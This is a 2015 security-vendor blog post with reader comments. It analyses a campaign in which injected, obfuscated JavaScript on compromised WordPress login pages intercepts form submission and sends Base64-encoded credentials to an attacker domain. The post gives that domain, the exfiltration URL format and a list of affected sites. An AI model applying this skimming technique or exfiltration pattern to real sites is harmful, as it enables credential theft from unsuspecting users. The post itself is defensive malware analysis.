Thursday, May 7, 2015

Compromised WordPress sites leaking credentials

Zscaler recently observed a credentials leak campaign on multiple WordPress sites. The compromised sites run backdoor code, which activates when the user submits login credentials. The credentials are encoded and sent to an attacker website in the form of a GET request. Till now, we have identified only one domain "conyouse.com" which is collecting all the credentials from these compromised sites.

The following is a sample list of WordPress websites compromised through this campaign:
  •  shoneekapoor.com
  •  dwaynefrancis.com
  •  blissfields.co.uk
  •  avalineholding.com
  •  attherighttime.net
  •  bolsaemprego.ne
  •  capitaltrill.com
  •  blowdrybar.es
  •  espada.co.uk
  •  technograte.com
  •  socalhistory.org
  •  blissfields.co.uk
  •  glasgowcontemporarychoir.com
  •  sombornefp.co.uk
  •  reciclaconloscincosentidos.com
  •  testrmb.com
  •  digivelum.com
  •  laflordelys.com

Credential Leakage

When unsuspecting users attempt to login to one of the compromised WordPress sites, they are served injected JavaScript code as part of the login page. Below, we walk through the full exploit cycle illustrating how the user credentials are being stolen through this campaign.

Compromised WordPress login page

As part of the WordPress login page, the user is getting served malicious information stealing JavaScript code hosted on “conyouse[.]com”. The obfuscated JavaScript code present in “wp.js” file can be seen here:
Information stealing JavaScript code

The variable “_0xdd75” stores a list of strings which are used dynamically in the JavaScript above.

List of encoded strings
This code is triggered when the user submits their credentials on the login page of the WordPress site.
The form containing the username and password input box has a fixed name as “loginform” in all WordPress sites. The preventDefault event method is used to cancel the submit event for “loginform” entity and execute the alternate code which is present in this file. The login credential string is serialised and encoded in a Base64 format.

Information Stealing JavaScript code

The final data is sent to "conyouse[.]com/scr.js", which is statically stored as one of the strings. The final GET request generated is as shown in the traffic:

GET Request relaying stolen credentials

On decoding the encoded string highlighted above we see that it’s relaying the stolen user credentials using the GET request. The format of this GET request is

"www.conyouse[.]com/scr.js?callback=jQuery<random number>&data=<BASE64_ENCODED_CREDENTIALS>&_=<random number>"

Base64 decoded data string

The complete sequence of action captured is shown in below screenshot.

Complete exploit cycle
The end user is oblivious to the fact that the credentials were leaked to a remote attacker's site as he is redirected to a successful logged in session of WordPress site.

Conclusion
WordPress, being one of the most popular Content Management Systems & Blogging platform, remains an attractive target for cybercriminals due to it's large user base. While the initial vector behind the compromise of the sites listed in this blog is unclear, it is extremely important for the site administrators to keep their WordPress sites patched with latest security updates.

Analysis by - Sameer Patil & Deepen Desai

14 comments:

The Insane Genius said...

Is there any information on which versions of Wordpress or which plugins are compromised? Not sure if this has been fixed in 4.2.2.

Anonymous said...

The most recent compromised wordpress versions we found are 4.1.5 and 4.2.2.

Mike said...

This is what i get now:
GET http://conyouse.com/wp.js 500 (Internal Server Error)
seems to be offline for the moment.

megamurmulis said...

As for those WP v4.2.2 sites - it is quite possible those sites were hacked some time before, and malware has simply persisted..

For some time now WP tries perform incremental update, when only old/new version differs only by last build number (4.2.1/4.2.2):
(partial zip only has changed files, unlike full zip)

https://downloads.wordpress.org/release/wordpress-4.2.2-partial-1.zip
instead of:
https://downloads.wordpress.org/release/wordpress-4.2.2-no-content.zip

Anonymous said...

My wordpress was also compromised, after scanning it i found it was backdoored with CryptoPHP

Anonymous said...

Good to hear you discoveed an infection, the key question is what people can do about it. What would be the best way to detect such an infection for people who use hosted resources? Check the source code of their login URL and see if there is a script loading from another site like conyous.com? Would a re-install WP as available from the admin interface help?

Dannie said...

Is there a way to request the complete list of sites leaking credentials?

Unknown said...

I've never hacked WP in my life but we had a user affected by this (4.1.5)

Nearest I can figure in wp-login.php
there is a callback being created for 'logins_script_WP'

There is no logins_script_WP function anywhere in the wp tree.

In wp-includes/plugin down on line 905:

reset( $wp_filter[ $tag ] );

do {
foreach ( (array) current($wp_filter[$tag]) as $the_ )
if ( !is_null($the_['function']) && $the_['function']!='logins_script_WP' )
call_user_func_array($the_['function'], array_slice($args, 0, (int) $the_['accepted_args']));

} while ( next($wp_filter[$tag]) !== false );

The "&& $the_['function']!='logins_script_WP'" was added by me, when I put than in, the include to the javascript on conyouse.com goes away.

I don't know enough about wp to understand where logins_script_WP is coming from or what's in it (although if I had to guess I'd say it's maybe an obfuscated block of code in the database? somehow? my ignorance is showing I'm sure...)

Anonymous said...

Dannie: The complete list of sites compromised cant be found out because there is no such index of all the source code of websites. Only the attacker will have the complete list.

Unknown said...

Hi!

A friend sent me a website that has this script included....

I can't find where it comes from, but if I remove the line 89 from "wp-login.php" file it disapears....
This line: do_action( 'login_enqueue_scripts' );

But it also removes the script tag to the jquery file: ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js

Does anyone has more information about this or knows where the "login_enqueue_scripts" function goes get the scripts?

Thanks.

Anonymous said...

Rodrigo-Maybe the script you mentioned is a different one than the one which is involved in this infection. This one is not involved in loading query.min.js file.

Unknown said...

Anyone found a solution? I have a website that is stuck on loading the conyouse[.]com that is no more active.

Unknown said...

Anyone found a solution? I have a website that is stuck on loading the conyouse[.]com that is no more active.

Alexander Loginov said...

Alessandro Alessandro, it is rather easy to fix. The shell is usually sits in wordpress plugin or theme. If you failed to clean that, i may help you for a tiny reward :)